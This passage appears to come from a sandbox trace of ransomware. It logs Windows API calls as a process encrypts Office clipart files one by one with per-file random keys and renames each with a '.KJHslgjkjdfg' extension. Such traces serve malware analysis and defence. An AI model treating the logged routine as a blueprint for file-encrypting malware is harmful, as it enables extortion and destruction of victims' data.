lpNewFilePointer=0x0) returned 1 [0188.335] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.335] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.335] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.335] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x804, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x804, lpOverlapped=0x0) returned 1 [0188.335] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x810, dwBufLen=0x810 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x810) returned 1 [0188.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.335] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x810, lpOverlapped=0x0) returned 1 [0188.335] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.335] SetEndOfFile (hFile=0x130) returned 1 [0188.338] GetProcessHeap () returned 0x990000 [0188.338] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.338] GetProcessHeap () returned 0x990000 [0188.338] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.338] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.kjhslgjkjdfg")) returned 1 [0188.339] CloseHandle (hObject=0x130) returned 1 [0188.339] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0188.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.340] GetProcessHeap () returned 0x990000 [0188.340] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.340] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.340] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.342] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.342] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.342] GetProcessHeap () returned 0x990000 [0188.342] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.342] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.342] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.342] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.342] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.342] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.343] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.343] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.343] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.343] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.343] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8b8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8b8, lpOverlapped=0x0) returned 1 [0188.343] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8c0) returned 1 [0188.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.343] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8c0, lpOverlapped=0x0) returned 1 [0188.343] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.343] SetEndOfFile (hFile=0x130) returned 1 [0188.346] GetProcessHeap () returned 0x990000 [0188.346] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.346] GetProcessHeap () returned 0x990000 [0188.346] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.346] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.kjhslgjkjdfg")) returned 1 [0188.347] CloseHandle (hObject=0x130) returned 1 [0188.347] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0188.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.349] GetProcessHeap () returned 0x990000 [0188.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.349] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.349] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.349] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.353] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.353] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.353] GetProcessHeap () returned 0x990000 [0188.353] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.353] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.353] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.353] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.353] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.353] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.354] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.354] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.354] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.354] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.354] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x70c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x70c, lpOverlapped=0x0) returned 1 [0188.354] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x710, dwBufLen=0x710 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x710) returned 1 [0188.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.354] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x710, lpOverlapped=0x0) returned 1 [0188.354] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.354] SetEndOfFile (hFile=0x130) returned 1 [0188.356] GetProcessHeap () returned 0x990000 [0188.356] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.356] GetProcessHeap () returned 0x990000 [0188.356] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.357] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.kjhslgjkjdfg")) returned 1 [0188.358] CloseHandle (hObject=0x130) returned 1 [0188.358] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0188.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.358] GetProcessHeap () returned 0x990000 [0188.358] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.359] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.359] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.359] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.359] GetProcessHeap () returned 0x990000 [0188.359] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.359] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.359] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.359] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.361] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.361] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.361] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.361] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.361] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.361] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.361] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x760, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x760, lpOverlapped=0x0) returned 1 [0188.362] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x760, dwBufLen=0x760 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x760) returned 1 [0188.362] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.362] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x760, lpOverlapped=0x0) returned 1 [0188.362] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.362] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.362] SetEndOfFile (hFile=0x130) returned 1 [0188.364] GetProcessHeap () returned 0x990000 [0188.364] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.365] GetProcessHeap () returned 0x990000 [0188.365] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.365] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.kjhslgjkjdfg")) returned 1 [0188.365] CloseHandle (hObject=0x130) returned 1 [0188.366] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0188.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.366] GetProcessHeap () returned 0x990000 [0188.366] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.366] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.366] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.366] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.368] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.368] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.368] GetProcessHeap () returned 0x990000 [0188.368] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.368] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.368] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.368] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.369] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.369] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.369] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.369] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.369] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.369] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.369] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.369] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.369] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xed4, lpOverlapped=0x0) returned 1 [0188.369] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xee0, dwBufLen=0xee0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xee0) returned 1 [0188.369] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.369] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xee0, lpOverlapped=0x0) returned 1 [0188.370] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.370] SetEndOfFile (hFile=0x130) returned 1 